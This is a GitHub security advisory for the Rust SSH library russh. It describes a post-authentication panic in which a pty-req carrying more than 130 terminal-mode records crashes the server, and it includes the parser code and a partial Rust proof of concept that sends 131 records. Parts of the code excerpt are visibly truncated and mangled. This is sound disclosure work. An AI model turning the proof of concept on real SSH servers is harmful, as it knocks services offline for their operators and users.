GitHub Advisoryadvisory · crates.io
GHSA-cqjc-rmpq-xprq Russh: Post-auth remote panic via pty-req with more than 130 terminal-mode records
MEDIUM
Official page ↗
- Aliases
- CVE-2026-73489
- Ecosystem
- crates.io
- Packages
- russh
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
- Weaknesses
- CWE-129
- Reviewed
- 2026-07-24
Affected packages
• crates.io russh: < 0.62.4 → fixed in 0.62.4
Description
Summary
A post-authentication denial-of-service panic in `russh` 0.62.2 (commit
`c4be19f1915c8682f4615c3fd50008512b474491`, current default branch `main` as
of 2026-07-22). An authenticated client sends a `pty-req` channel request
carrying more than 130 terminal-mode records. The parser uses a fixed
`[(Pty::TTY_OP_END, 0); 130]` array but increments its counter `i` for every
valid record (logging "too many pty codes" without returning), then slices
`&modes[0..i]` — an out-of-bounds slice that panics (`range end index 131
out of range for slice of length 130`) before the application `pty_request`
handler runs.
This is reachable with the default server configuration and the default
crypto config (curve25519-sha256 + chacha20-poly1305), requiring only an
authenticated session channel — no caller-supplied parameter. It is reproduced
end-to-end against the unmodified real russh 0.62.2 library (a real
`russh::client` + `russh::server` over TCP, using the public
`Channel::request_pty(...)` API); the PoC below links the real crate, not a
copied snippet. The defect is still present on `main` HEAD (`v0.62.3`,
2026-07-22) and is not covered by any of the 11 published russh GHSA
advisories (GHSA-4r3c-5hpg-58qr / CVE-2026-48110 is allocation-first string
parsing, not the fixed-array slice overflow; it was fixed in 0.61.0 but this
code path still overflows the fixed array).
Rust bounds-checked panics abort the task safely (no memory corruption / RCE);
the impact is remote denial of service.
Details
`russh/src/server/encrypted.rs`, `pty-req` handling (lines 1137–1201):
```rust
let mut modes = [(Pty::TTY_OP_END, 0); 130]; // fixed 130-entry array (line 1137)
let mut i = 0;
...
while !mode_bytes.is_empty() {
let code = mode_bytes[0];
if code == 0 { if mode_bytes.len() != 1 { return Err(...); } break; }
if mode_bytes.len() 130
```
Each terminal-mode record is exactly 5 bytes (1-byte opcode + 4-byte value),
and `i += 1` runs for every valid record (including repeats of the same
opcode). The `if i CONFIRMED (end-to-end, real russh 0.62.2):");
println!(" A single authenticated SSH_MSG_CHANNEL_REQUEST `pty-req`");
println!(" carrying 131 valid terminal-mode records makes the real");
println!(" russh server panic in its pty-req parser");
println!(" (range end index 131 out of range for slice of length 130)");
println!(" before the application pty_request handler runs.");
} else {
eprintln!("NOT reproduced");
std::process::exit(1);
}
}
async fn run_case(num_modes: usize, label: &'static str) -> (bool, bool) {
let panicked = Arc::new(AtomicBool::new(false));
{
let flag = panicked.clone();
let prev = std::panic::take_hook();
std::panic::set_hook(Box::new(move |info| {
flag.store(true, Ordering::SeqCst);
eprintln!("[{label} server task panicked] {info}");
prev(info);
}));
}
let events: Arc>> = Arc::new(Mutex::new(Vec::new()));
// real russh server, DEFAULT crypto config (curve25519 + chacha20)
let mut config = server::Config::default();
config.inactivity_timeout = None;
config.auth_rejection_time = std::time::Duration::from_millis(1);
config.auth_rejection_time_initial = Some(std::time::Duration::from_millis(1));
config.keys.push(russh::keys::PrivateKey::random(&mut rand::rng(), Algorithm::Ed25519).unwrap());
let config = Arc::new(config);
let listener = TcpListener::bind("127.0.0.1:0").await.unwrap();
let addr = listener.local_addr().unwrap();
let server_events = events.clone();
let server_task = tokio::spawn(async move {
let (socket, _peer) = listener.accept().await.unwrap();
let handler = PtyServer { events: server_events };
let session = server::run_stream(config, socket, handler).await.unwrap();
session.await
});
// real russh client (default config: real ECDH + encryption + auth)
let client_config = Arc::new(russh::client::Config::default());
let mut session = russh::client::connect(client_config, addr, AcceptAllClient {}).await.unwrap();
let auth = session.authenticate_none("attacker").await.unwrap();
assert!(auth.success(), "[{label}] auth_none did not succeed");
let channel = session.channel_open_session().await.unwrap();
println!("[{label}] authenticated + opened session channel");
// terminal_modes: num_modes records of (VINTR, 42). The client serializes
// all of them w…
Related
Alias · CVE (1)
- CVE-2026-73489 Russh is a Rust SSH client & server library. vulnerability
Weakness · CWE (1)
- CWE-129 Improper Validation of Array Index weakness